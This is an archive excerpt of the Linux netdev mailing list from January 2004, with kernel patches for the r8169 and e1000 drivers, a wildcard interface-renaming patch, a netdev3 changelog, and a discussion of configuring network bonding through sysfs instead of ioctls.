Mon, 12 Jan 2004 23:12:04 +0100 From: Francois Romieu To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [patch] 2.6.1-bk1-netdev2 - Realtek 8169 braindamaged Message-ID: <20040112231204.B5983@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 2367 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 741 Lines: 26 Hi, please apply. $@!#&%{ bug in the r8169 driver. drivers/net/r8169.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/r8169.c~r8169-dma-api-rx-buffers-argl drivers/net/r8169.c --- linux-2.6.1-bk1-netdev2/drivers/net/r8169.c~r8169-dma-api-rx-buffers-argl 2004-01-12 23:01:59.000000000 +0100 +++ linux-2.6.1-bk1-netdev2-fr/drivers/net/r8169.c 2004-01-12 23:01:59.000000000 +0100 @@ -1408,7 +1408,7 @@ rtl8169_rx_interrupt(struct net_device * assert(tp != NULL); assert(ioaddr != NULL); - cur_rx = tp->cur_rx % RX_BUF_SIZE; + cur_rx = tp->cur_rx % NUM_RX_DESC; while (!(le32_to_cpu(tp->RxDescArray[cur_rx].status) & OWNbit)) { u32 status = le32_to_cpu(tp->RxDescArray[cur_rx].status); _ From jgarzik@pobox.com Mon Jan 12 14:21:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 14:21:20 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CML66H005968 for ; Mon, 12 Jan 2004 14:21:07 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35728 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AgAQe-0006Qi-7N; Mon, 12 Jan 2004 22:21:00 +0000 Message-ID: <40031DBF.1050305@pobox.com> Date: Mon, 12 Jan 2004 17:20:47 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: netdev@oss.sgi.com Subject: Re: [patch] 2.6.1-bk1-netdev2 - Realtek 8169 braindamaged References: <20040112231204.B5983@electric-eye.fr.zoreil.com> In-Reply-To: <20040112231204.B5983@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2368 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 21 Lines: 3 thanks, applied :) From jgarzik@pobox.com Mon Jan 12 14:22:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 14:22:54 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CMMe6H006344 for ; Mon, 12 Jan 2004 14:22:41 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35731 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AgASF-0006Ra-Od; Mon, 12 Jan 2004 22:22:39 +0000 Message-ID: <40031E24.6040702@pobox.com> Date: Mon, 12 Jan 2004 17:22:28 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [NETDEV] experimental net driver queue updated References: <4000C5A3.5070101@pobox.com> <20040111004540.403ca854.akpm@osdl.org> In-Reply-To: <20040111004540.403ca854.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2369 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 18 Lines: 3 thanks, applied From romieu@fr.zoreil.com Mon Jan 12 15:04:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 15:05:10 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CN4t6H007629 for ; Mon, 12 Jan 2004 15:04:56 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0CN3xsW008852; Tue, 13 Jan 2004 00:03:59 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0CN3v7v008851; Tue, 13 Jan 2004 00:03:57 +0100 Date: Tue, 13 Jan 2004 00:03:57 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: dpollock@acm.org, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz Subject: Re: Realtek 8169 Lock-ups Message-ID: <20040113000357.D5983@electric-eye.fr.zoreil.com> References: <1073507006.5151.61.camel@localhost> <20040107232034.A22930@electric-eye.fr.zoreil.com> <1073596694.6378.6.camel@localhost> <4001080D.3090401@pobox.com> <20040111124957.A18068@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040111124957.A18068@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sun, Jan 11, 2004 at 12:49:57PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2370 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 592 Lines: 24 Re, latest pile of r8169 related patches against 2.6.1-bk1 available at http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1 If you want to help: apply r8169-dma-api-tx.patch apply r8169-dma-api-rx-buffers.patch apply r8169-dma-api-rx-buffers-ahum.patch apply r8169-dma-api-rx-buffers-argl.patch <-- bug removed, sing and rejoice ! apply r8169-rx-fill-typo.patch apply r8169-start-xmit-fixes.patch apply r8169-dma-api-tx-buffers.patch apply r8169-rx_copybreak.patch -> does it work here ? apply r8169-mac-phy-version.patch apply r8169-buggy-devinitdata.patch -> and here ? -- Ueimor From scott.feldman@intel.com Mon Jan 12 15:36:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 15:37:03 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CNao6H009686 for ; Mon, 12 Jan 2004 15:36:50 -0800 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0CNcoBX031145; Mon, 12 Jan 2004 23:38:51 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by talaria.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0CNYF0t025325; Mon, 12 Jan 2004 23:34:15 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011215363512497 ; Mon, 12 Jan 2004 15:36:35 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 12 Jan 2004 15:36:35 -0800 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [2.4] e1000 leaking pci mappings on rx errors? Date: Mon, 12 Jan 2004 15:36:32 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [2.4] e1000 leaking pci mappings on rx errors? Thread-Index: AcPZTX7knqriL1FqQTWkkL94kRWzsAAFxEYg From: "Feldman, Scott" To: "Olof Johansson" Cc: , "cramerj" , X-OriginalArrivalTime: 12 Jan 2004 23:36:35.0171 (UTC) FILETIME=[EA8F1B30:01C3D964] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0CNao6H009686 X-archive-position: 2371 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 975 Lines: 25 > Also, I noticed it's leaking quite fast, and even before any > RX errors are shown. So my previous guess w.r.t. cause and effect might > have been wrong: Ok, most of the changes to the driver are on the Tx side. Add this to 5.2.20 and let's see if we're hitting this path. Maybe there is still something wrong with the Tx unwind case where we run out of resources: diff -Nuarp e1000-5.2.20/src/e1000_main.c e1000-5.2.20-mod/src/e1000_main.c --- e1000-5.2.20/src/e1000_main.c 2003-09-30 23:22:19.000000000 -0700 +++ e1000-5.2.20-mod/src/e1000_main.c 2004-01-12 16:09:06.000000000 -0800 @@ -1837,6 +1837,8 @@ e1000_xmit_frame(struct sk_buff *skb, st if((count = e1000_tx_map(adapter, skb, first))) e1000_tx_queue(adapter, count, tx_flags); else { + static int stops = 0; + printk(KERN_ERR "stopping queue %d\n", ++stops); netif_stop_queue(netdev); return 1; } From jt@bougret.hpl.hp.com Mon Jan 12 16:12:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 16:13:16 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D0Ci6H012392 for ; Mon, 12 Jan 2004 16:12:44 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 849791C036A5; Mon, 12 Jan 2004 15:43:33 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id PAA15457; Mon, 12 Jan 2004 15:43:33 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AgBiX-0000Uj-00; Mon, 12 Jan 2004 15:43:33 -0800 Date: Mon, 12 Jan 2004 15:43:32 -0800 To: Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: [PATCH 2.6.X] SIOCSIFNAME wilcard support Message-ID: <20040112234332.GA1785@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2372 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 2907 Lines: 86 Hi Jeff & Dave, The trivial patch below implement SIOCSIFNAME wilcard support. With the appropriate version of nameif (please ask me), you can do binding of this kind : ------------------------------------------------ # AMD Lance cards (pcnet32) amd* 00:10:83:* # Intersil PrismGT cards (prism54) wlan* 00:04:E2:* ------------------------------------------------ Of course, this make sense mostly for wireless cards. There is currently lot's od debate about the use of 'ethX' and 'wlanX' names for wireless driver, and some confusion resulting from that. Each driver use a different naming style, and some have module parameters to change the name prefix. Therefore, I think most distro and driver authors would benefit from such a feature. It would also enable to emulate the naming conventions of *BSD, but I don't know if I should list that as an argument ;-) I've run this patch for a while without any adverse effect. Please forward upstream ;-) Jean P.S. : Don't miss the second part of the change, we absolutely need to return the new name to user space. ------------------------------------------------------------- diff -u -p linux/net/core/dev.j1.c linux/net/core/dev.c --- linux/net/core/dev.j1.c Wed Dec 3 18:39:09 2003 +++ linux/net/core/dev.c Wed Dec 3 18:54:36 2003 @@ -2344,15 +2344,29 @@ static int dev_ifsioc(struct ifreq *ifr, if (dev->flags & IFF_UP) return -EBUSY; ifr->ifr_newname[IFNAMSIZ-1] = '\0'; - if (__dev_get_by_name(ifr->ifr_newname)) - return -EEXIST; - err = class_device_rename(&dev->class_dev, - ifr->ifr_newname); - if (!err) { + /* Check if name contains a wildcard */ + if (strchr(ifr->ifr_newname, '%')) { + int ret; + /* Find a free name based on format. + * dev_alloc_name() replaces "%d" with at max + * 2 digits, so no name overflow. - Jean II */ + ret = dev_alloc_name(dev, ifr->ifr_newname); + if (ret < 0) + return ret; + /* Copy the new name back to caller. */ + strncpy(ifr->ifr_newname, dev->name, IFNAMSIZ); + } else { + if (__dev_get_by_name(ifr->ifr_newname)) + return -EEXIST; strlcpy(dev->name, ifr->ifr_newname, IFNAMSIZ); - + } + err = class_device_rename(&dev->class_dev, dev->name); + if (!err) { notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME, dev); + } else { + /* Restore original name */ + strlcpy(dev->name, ifr->ifr_name, IFNAMSIZ); } return err; @@ -2485,6 +2499,7 @@ int dev_ioctl(unsigned int cmd, void *ar * - require strict serialization. * - return a value */ + case SIOCSIFNAME: case SIOCGMIIPHY: case SIOCGMIIREG: if (!capable(CAP_NET_ADMIN)) @@ -2518,7 +2533,6 @@ int dev_ioctl(unsigned int cmd, void *ar case SIOCDELMULTI: case SIOCSIFHWBROADCAST: case SIOCSIFTXQLEN: - case SIOCSIFNAME: case SIOCSMIIREG: case SIOCBONDENSLAVE: case SIOCBONDRELEASE: From olof@austin.ibm.com Mon Jan 12 16:36:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 16:37:11 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D0av6H017271 for ; Mon, 12 Jan 2004 16:36:58 -0800 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.195.10]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0D0ap6t366764; Mon, 12 Jan 2004 19:36:51 -0500 Received: from austin.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay01.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0D0amo4136084; Mon, 12 Jan 2004 17:36:50 -0700 Received: from austin.ibm.com (olof@olof.austin.ibm.com [9.53.85.118]) by austin.ibm.com (8.12.10/8.12.10) with ESMTP id i0D0am8t035790; Mon, 12 Jan 2004 18:36:48 -0600 Message-ID: <40033D58.1080604@austin.ibm.com> Date: Mon, 12 Jan 2004 18:35:36 -0600 From: Olof Johansson User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com, cramerj , milliner@us.ibm.com Subject: Re: [2.4] e1000 leaking pci mappings on rx errors? References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2373 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: olof@austin.ibm.com Precedence: bulk X-list: netdev Content-Length: 853 Lines: 20 Feldman, Scott wrote: > Ok, most of the changes to the driver are on the Tx side. Add this to > 5.2.20 and let's see if we're hitting this path. Maybe there is still > something wrong with the Tx unwind case where we run out of resources: It looks like I temporarily lost the machine, but I could give it one run before it happened. It was bursting huge number of those messages, but I had no chance to correlate them to the number of mappings that were leaked, since the machine pretty much locked up (serial console + too much kernel printks = very very slow machine). -Olof -- Olof Johansson Office: 4F005/905 pSeries Linux Development IBM Systems Group Email: olof@austin.ibm.com Phone: 512-838-9858 All opinions are my own and not those of IBM From olof@austin.ibm.com Mon Jan 12 17:02:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 17:03:16 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D12v6H018739 for ; Mon, 12 Jan 2004 17:02:57 -0800 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0D12m19237862; Mon, 12 Jan 2004 20:02:49 -0500 Received: from austin.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay05.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0D12lK7026744; Mon, 12 Jan 2004 18:02:48 -0700 Received: from austin.ibm.com (olof@olof.austin.ibm.com [9.53.85.118]) by austin.ibm.com (8.12.10/8.12.10) with ESMTP id i0D12k8t030632; Mon, 12 Jan 2004 19:02:46 -0600 Message-ID: <4003436D.5000502@austin.ibm.com> Date: Mon, 12 Jan 2004 19:01:33 -0600 From: Olof Johansson User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Olof Johansson CC: "Feldman, Scott" , netdev@oss.sgi.com, cramerj , milliner@us.ibm.com Subject: Re: [2.4] e1000 leaking pci mappings on rx errors? References: <40033D58.1080604@austin.ibm.com> In-Reply-To: <40033D58.1080604@austin.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2374 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: olof@austin.ibm.com Precedence: bulk X-list: netdev Content-Length: 1230 Lines: 30 Olof Johansson wrote: > Feldman, Scott wrote: > >> Ok, most of the changes to the driver are on the Tx side. Add this to >> 5.2.20 and let's see if we're hitting this path. Maybe there is still >> something wrong with the Tx unwind case where we run out of resources: > > > It looks like I temporarily lost the machine, but I could give it one > run before it happened. It was bursting huge number of those messages, > but I had no chance to correlate them to the number of mappings that > were leaked, since the machine pretty much locked up (serial console + > too much kernel printks = very very slow machine). I got it back quicker than I thought. :) It seems that after about 150k 'queue stopped' events we hit the case where it's leaked up to 1k pci mappings. The queue stopped messages start arriving as soon as the network load goes up. That's about the same point that the first rx errors show up too, in small numbers (<50 total). -Olof -- Olof Johansson Office: 4F005/905 pSeries Linux Development IBM Systems Group Email: olof@austin.ibm.com Phone: 512-838-9858 All opinions are my own and not those of IBM From scott.feldman@intel.com Mon Jan 12 17:44:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 17:44:41 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D1iR6H020438 for ; Mon, 12 Jan 2004 17:44:27 -0800 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0D1kRBX022581; Tue, 13 Jan 2004 01:46:27 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0D1hqfL021148; Tue, 13 Jan 2004 01:44:57 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011217441506844 ; Mon, 12 Jan 2004 17:44:15 -0800 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 12 Jan 2004 17:44:15 -0800 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [Bonding-devel] Re: [bonding] Add basic support for dynamic configuration of bond interfaces Date: Mon, 12 Jan 2004 17:44:14 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Bonding-devel] Re: [bonding] Add basic support for dynamic configuration of bond interfaces Thread-Index: AcPX404QUetz7P+aRTSt4rJm9QEu6gBkPkYQ From: "Feldman, Scott" To: "Jeff Garzik" , "Noam, Amir" Cc: "Jay Vosburgh" , , X-OriginalArrivalTime: 13 Jan 2004 01:44:15.0722 (UTC) FILETIME=[C09A6CA0:01C3D976] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0D1iR6H020438 X-archive-position: 2375 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > I don't disagree with the overall goal of these patches, but > I think we might need to pause a bit, and consider how best to > configure, add, and remove bonding interfaces, if we are coming > up with a new interface. Could sysfs be used for the bonding UI? Seems like a natural fit. Something like: 1) load bonding.o /sys/class/net/ eth0/ eth1/ add_bond << write-only file added 2) Create a bond: # echo "some params" >/sys/class/net/add_bond /sys/class/net/ eth0/ eth1/ bond0/ del_bond add_if del_if add_bond 3) Hook up the bond: # echo "eth0" >/sys/class/net/bond0/add_if # echo "eth1" >/sys/class/net/bond0/add_if /sys/class/net/ eth0/ eth1/ bond0/ -->eth0/ -->eth1/ del_bond add_if del_if new_bond 4) Delete the bond: # echo "byebye" >/sys/class/net/bond0/del_bond Etc. The whole kobject API is so clean, this should be trivial to code up. Seems like VLAN and bridge modules could follow. -scott From jgarzik@pobox.com Mon Jan 12 17:58:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 17:59:12 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D1ww6H021106 for ; Mon, 12 Jan 2004 17:58:59 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35857 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AgDpZ-0000FX-AS; Tue, 13 Jan 2004 01:58:57 +0000 Message-ID: <400350D5.2060707@pobox.com> Date: Mon, 12 Jan 2004 20:58:45 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton , Netdev Subject: netdev3 posted... Content-Type: multipart/mixed; boundary="------------040802030002030207090206" X-archive-position: 2376 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------040802030002030207090206 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit With a couple fixes (another bad one in r8169) and a couple little things. Changelog delta versus netdev2 attached. The ppp header removal was Paul M's idea, but I took it farther, so it still needs ack'ing from him (as ppp maintainer). Patch: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev3.patch.bz2 Full changelog: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev3.log Broken-out patches: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/broken-out/ --------------040802030002030207090206 Content-Type: text/plain; name="changelog.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="changelog.txt" ChangeSet@1.1510.3.6, 2004-01-12 19:41:02-05:00, ak@muc.de [PATCH] variable number of dummy devices Uses the new module_params that nobody else uses now. ChangeSet@1.1510.15.54, 2004-01-12 17:27:00-05:00, jgarzik@redhat.com Eliminate ancient and unused include/linux/{if_pppvar,ppp}.h. Well, unused except for one silly constant in isdn_ppp.c. ChangeSet@1.1510.6.21, 2004-01-12 17:21:23-05:00, akpm@osdl.org [PATCH] fix netpoll printk bug ChangeSet@1.1510.9.18, 2004-01-12 17:19:54-05:00, romieu@fr.zoreil.com [netdrvr r8169] fix rx counter masking bug ChangeSet@1.1510.15.53, 2004-01-11 01:19:14-05:00, viro@parcelfarce.linux.theplanet.co.uk Remove unused and invalid 'struct ppp' definition from if_pppvar.h. ChangeSet@1.1510.10.3, 2004-01-11 01:09:34-05:00, viro@parcelfarce.linux.theplanet.co.uk [netdrvr forcedeth] kfree -> free_netdev ChangeSet@1.1510.3.5, 2004-01-11 01:08:18-05:00, viro@parcelfarce.linux.theplanet.co.uk [NET] fix leak in sch_teql Also note the fact that we're calling functions that may block, while holding a local spinlock. --------------040802030002030207090206-- From jgarzik@pobox.com Mon Jan 12 18:34:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 18:34:34 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D2YK6H023603 for ; Mon, 12 Jan 2004 18:34:21 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35906 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AgENm-0000ZT-Uo; Tue, 13 Jan 2004 02:34:19 +0000 Message-ID: <4003591E.5050906@pobox.com> Date: Mon, 12 Jan 2004 21:34:06 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jason Lunz CC: netdev@oss.sgi.com Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2377 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Jason Lunz wrote: > jgarzik@pobox.com said: > >>The key question is what is the best interface for userland to configure >>in-kernel information -that is unrelated to a specific interface-. >>ethtool ioctl space doesn't apply, because that's a per-interface API. > > > ethtool is just as bad as brctl or any of the others. From (userland) > ethtool.c: ethtool contains only per-interface operations. One should not stuff extra-interface operations onto an ioctl, IMO. > calling a spade a spade, and all that. I don't see how that's any better > than brctl. The per-interface only comes into it when you copy a dev > name into a struct ifreq, but that doesn't associate the fd with the > interface in any way. You could go ahead and issue another ioctl on the > same fd for a different interface. I make it no secret that I dislike ioctls in general, and would like to move away from dependence on ioctl (and procfs) magic... Ideally one should be able to maintain and coordinate the ABI of one's own driver, without always going through a central authority for some magic number. Linux is (should be) more dynamic than that. It's a hotplug, decentralized world :) Jeff From Matt_Domsch@dell.com Mon Jan 12 18:34:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 18:34:48 -0800 (PST) Received: from smtp3.us.dell.com (smtp3.us.dell.com [143.166.148.134]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D2YZ6H023620 for ; Mon, 12 Jan 2004 18:34:35 -0800 Received: from humbolt.us.dell.com (humbolt.us.dell.com [10.9.160.254]) by smtp3.us.dell.com (8.12.10/8.12.9) with ESMTP id i0D2Y7tM019645; Mon, 12 Jan 2004 20:34:07 -0600 Date: Mon, 12 Jan 2004 20:34:07 -0600 (CST) From: Matt Domsch X-X-Sender: mdomsch@humbolt.us.dell.com To: "Feldman, Scott" cc: Jeff Garzik , "Noam, Amir" , Jay Vosburgh , , Subject: RE: [Bonding-devel] Re: [bonding] Add basic support for dynamic configuration of bond interfaces In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by smtp3.us.dell.com id i0D2Y7tM019645 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0D2YZ6H023620 X-archive-position: 2378 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Matt_Domsch@dell.com Precedence: bulk X-list: netdev > Could sysfs be used for the bonding UI?  Seems like a natural fit. > Something like: > # echo "some params" 